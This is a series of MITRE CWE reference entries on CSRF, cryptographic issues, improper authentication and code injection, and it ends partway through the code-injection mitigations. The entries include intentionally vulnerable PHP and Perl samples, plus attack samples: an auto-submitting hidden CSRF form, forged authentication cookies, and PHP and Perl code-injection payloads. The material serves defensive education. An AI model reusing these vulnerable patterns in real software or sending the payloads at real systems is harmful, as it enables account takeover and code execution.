profile.php contains the following code.

(Bad Code)
Example Language: PHP 
// initiate the session in order to validate sessions

session_start();

//if the session is registered to a valid user then allow update

if (! session_is_registered("username")) {

echo "invalid session detected!";

// Redirect user to login page
[...]

exit;
}

// The user session is valid, so process the request
// and update the information

update_profile();

function update_profile {
// read in the data from $POST and send an update
// to the database
SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
[...]
echo "Your profile has been successfully updated.";
}

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

(Attack)
Example Language: HTML 
<SCRIPT>
function SendAttack () {
form.email = "attacker@example.com";
// send to profile.php
form.submit();
}
</SCRIPT>

<BODY onload="javascript:SendAttack();">

<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

+ Observed Examples
ReferenceDescription
Add user accounts via a URL in an img tag
Add user accounts via a URL in an img tag
Arbitrary code execution by specifying the code in a crafted img tag or URL
Gain administrative privileges via a URL in an img tag
Delete a victim's information via a URL or an img tag
Change another user's settings via a URL or an img tag
Perform actions as administrator via a URL or an img tag
modify password for the administrator
CMS allows modification of configuration via CSRF attack against the administrator
web interface allows password changes or stopping a virtual machine via CSRF
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [R.352.3]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [R.352.9]

Phase: Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [R.352.5]

Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Note that this can be bypassed using XSS (CWE-79).

Phase: Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller:

When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.

Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.

This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [R.352.4]

Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

Phase: Architecture and Design

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
RequiresWeakness BaseWeakness Base346Origin Validation Error
Research Concepts1000
RequiresWeakness ClassWeakness Class441Unintended Proxy or Intermediary ('Confused Deputy')
Research Concepts1000
RequiresWeakness BaseWeakness Base613Insufficient Session Expiration
Research Concepts1000
RequiresWeakness ClassWeakness Class642External Control of Critical State Data
Research Concepts1000
ChildOfWeakness ClassWeakness Class345Insufficient Verification of Data Authenticity
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory442Web Problems
Development Concepts699
ChildOfCategoryCategory716OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory7512009 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory8012010 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory814OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory8642011 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory936OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)
Weaknesses in OWASP Top Ten (2013) (primary)928
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
PeerOfWeakness BaseWeakness Base79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Research Concepts1000
+ Relationship Notes

This can be resultant from XSS, although XSS is not necessarily required.

+ Research Gaps

This issue was under-reported in CVE until around 2008, when it began to gain prominence. It is likely to be present in most web applications.

+ Theoretical Notes

The CSRF topology is multi-channel:

1. Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.

2. Intermediary (as user) to server (as victim). The activation point is an internal channel.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-Site Request Forgery (CSRF)
OWASP Top Ten 2007A5ExactCross Site Request Forgery (CSRF)
WASC9Cross-site Request Forgery
+ References
[R.352.1] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 37. McGraw-Hill. 2010.
[R.352.2] Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq. <http://marc.info/?l=bugtraq&m=99263135911884&w=2>.
[R.352.3] OWASP. "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". <http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet>.
[R.352.4] Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008-10-18. <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445>.
[R.352.5] Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ". <http://www.cgisecurity.com/articles/csrf-faq.shtml>.
[R.352.6] "Cross-site request forgery". Wikipedia. 2008-12-22. <http://en.wikipedia.org/wiki/Cross-site_request_forgery>.
[R.352.7] Jason Lam. "Top 25 Series - Rank 4 - Cross Site Request Forgery". SANS Software Security Institute. 2010-03-03. <http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery>.
[R.352.8] Jeff Atwood. "Preventing CSRF and XSRF Attacks". 2008-10-14. <http://www.codinghorror.com/blog/2008/10/preventing-csrf-and-xsrf-attacks.html>.
[R.352.9] [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-20Tom StracenerExternal
Added demonstrative example for profile.
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples, Related_Attack_Patterns
2009-12-28CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2010-02-16CWE Content TeamMITREInternal
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Relationships
2013-07-17CWE Content TeamMITREInternal
updated References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE CATEGORY: Cryptographic Issues

Category ID: 310
Status: Draft
+ Description

Description Summary

Weaknesses in this category are related to the use of cryptography.
+ Applicable Platforms

Languages

All

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory254Security Features
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
Weaknesses in OWASP Top Ten (2013) (primary)928
ParentOfWeakness BaseWeakness Base295Improper Certificate Validation
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base311Missing Encryption of Sensitive Data
Development Concepts (primary)699
ParentOfCategoryCategory320Key Management Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base325Missing Required Cryptographic Step
Development Concepts (primary)699
ParentOfWeakness ClassWeakness Class326Inadequate Encryption Strength
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base327Use of a Broken or Risky Cryptographic Algorithm
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base328Reversible One-Way Hash
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant329Not Using a Random IV with CBC Mode
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base347Improper Verification of Cryptographic Signature
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant780Use of RSA Algorithm without OAEP
Development Concepts (primary)699
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
+ Relationship Notes

Some of these can be resultant.

+ Functional Areas
  • Cryptography
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCryptographic Issues
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft. 2002.
+ Maintenance Notes

This category is incomplete and needs refinement, as there is good documentation of cryptographic flaws and related attacks.

Relationships between CWE-310, CWE-326, and CWE-327 and all their children need to be reviewed and reorganized.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITREInternal
updated Maintenance_Notes, Relationship_Notes, Relationships
2009-10-29CWE Content TeamMITREInternal
updated Relationships
2010-02-16CWE Content TeamMITREInternal
updated References
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-02-18CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships

CWE-287: Improper Authentication

Weakness ID: 287
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.
+ Alternate Terms
authentification:

An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.

AuthC:

"AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Read application data; Gain privileges / assume identity; Execute unauthorized code or commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

+ Likelihood of Exploit

Medium to High

+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Configuration Checker

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(Bad Code)
Example Language: Perl 
my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first");
}
else {
# Set loggedin and user cookies.
$q->cookie(
-name => 'loggedin',
-value => 'true'
);
$q->cookie(
-name => 'user',
-value => $q->param('username')
);
}
}

if ($q->cookie('user') eq "Administrator") {
DoAdministratorTasks();
}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(Attack)
 
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:

Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <http://www.wired.com/threatlevel/2009/01/professed-twitt/>.
+ Observed Examples
ReferenceDescription
login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
product uses default "Allow" action, instead of default deny, leading to authentication bypass.
chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
product does not properly implement a security-related configuration setting, allowing authentication bypass.
authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class284Improper Access Control
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory718OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory812OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory935OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
Weaknesses in OWASP Top Ten (2013)928
ChildOfCategoryCategory947SFP Secondary Cluster: Authentication Bypass
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant261Weak Cryptography for Passwords
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant262Not Using Password Aging
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base263Password Aging with Long Expiration
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base288Authentication Bypass Using an Alternate Path or Channel
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant289Authentication Bypass by Alternate Name
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base290Authentication Bypass by Spoofing
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base294Authentication Bypass by Capture-replay
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant301Reflection Attack in an Authentication Protocol
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant302Authentication Bypass by Assumed-Immutable Data
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base303Incorrect Implementation of Authentication Algorithm
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base304Missing Critical Step in Authentication
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base305Authentication Bypass by Primary Weakness
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant306Missing Authentication for Critical Function
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base307Improper Restriction of Excessive Authentication Attempts
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base308Use of Single-factor Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base309Use of Password System for Primary Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfCompound Element: CompositeCompound Element: Composite384Session Fixation
Development Concepts699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base521Weak Password Requirements
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base522Insufficiently Protected Credentials
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant593Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
Development Concepts (primary)699
Research Concepts1000
ParentOfWeakness BaseWeakness Base603Use of Client-Side Authentication
Development Concepts (primary)699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant620Unverified Password Change
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base640Weak Password Recovery Mechanism for Forgotten Password
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base645Overly Restrictive Account Lockout Mechanism
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base798Use of Hard-coded Credentials
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base804Guessable CAPTCHA
Development Concepts699
Research Concepts1000
ParentOfWeakness BaseWeakness Base836Use of Password Hash Instead of Password for Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
CanFollowWeakness BaseWeakness Base613Insufficient Session Expiration
Development Concepts699
Research Concepts1000
+ Relationship Notes

This can be resultant from SQL injection vulnerabilities and other issues.

+ Functional Areas
  • Authentication
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Error
OWASP Top Ten 2007A7CWE More SpecificBroken Authentication and Session Management
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
WASC1Insufficient Authentication
+ References
OWASP. "Top 10 2007-Broken Authentication and Session Management". <http://www.owasp.org/index.php/Top_10_2007-A7>.
OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft. 2002.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2009-01-12CWE Content TeamMITREInternal
updated Name
2009-05-27CWE Content TeamMITREInternal
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITREInternal
updated Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Observed_Examples
2009-12-28CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITREInternal
updated Relationships
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-02-18CWE Content TeamMITREInternal
updated Relationships
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Authentication Issues
2009-01-12Insufficient Authentication

CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID: 94
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Extended Description

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Interpreted languages: (Sometimes)

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Bypass protection mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control

Technical Impact: Gain privileges / assume identity

Injected code can access resources that the attacker is directly prevented from accessing.

Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation

Technical Impact: Hide activities

Often the actions performed by injected control code are unlogged.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

This example attempts to write user messages to a message file and allow users to view them.

(Bad Code)
Example Language: PHP 
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
$name = $_GET["name"];
$message = $_GET["message"];
$handle = fopen($MessageFile, "a+");
fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
fclose($handle);
echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
include($MessageFile);
}

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

(Attack)
 
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E

which will decode to the following:

(Attack)
 
<?php system("/bin/ls -l");?>

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Example 2

edit-config.pl: This CGI script is used to modify settings in a configuration file.

(Bad Code)
Example Language: Perl 
use CGI qw(:standard);

sub config_file_add_key {
my ($fname, $key, $arg) = @_;

# code to add a field/key to a file goes here
}

sub config_file_set_key {
my ($fname, $key, $arg) = @_;

# code to set key to a particular file goes here
}

sub config_file_delete_key {
my ($fname, $key, $arg) = @_;

# code to delete key from a particular file goes here
}

sub handleConfigAction {
my ($fname, $action) = @_;
my $key = param('key');
my $val = param('val');

# this is super-efficient code, especially if you have to invoke
# any one of dozens of different functions!

my $code = "config_file_$action_key(\$fname, \$key, \$val);";
eval($code);
}

$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
handleConfigAction($configfile, param('action'));
}
else {
print "No action specified!\n";
}

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add_key(",","); system("/bin/ls"); This would produce the following string in handleConfigAction(): config_file_add_key(",","); system("/bin/ls"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

+ Observed Examples
ReferenceDescription
Eval injection in PHP program.
Eval injection in Perl program.
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
Direct code injection into Perl eval function.
Eval injection in Perl program.
Direct code injection into Perl eval function.
Direct code injection into Perl eval function.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
Code injection into Python eval statement from a field in a formatted file.
Eval injection in Python program.
chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
Perl code directly injected into CGI library file from parameters to another CGI program.
Direct PHP code injection into supporting template file.
Direct code injection into PHP script that can be accessed by attacker.
PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
+ Potential Mitigations

Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

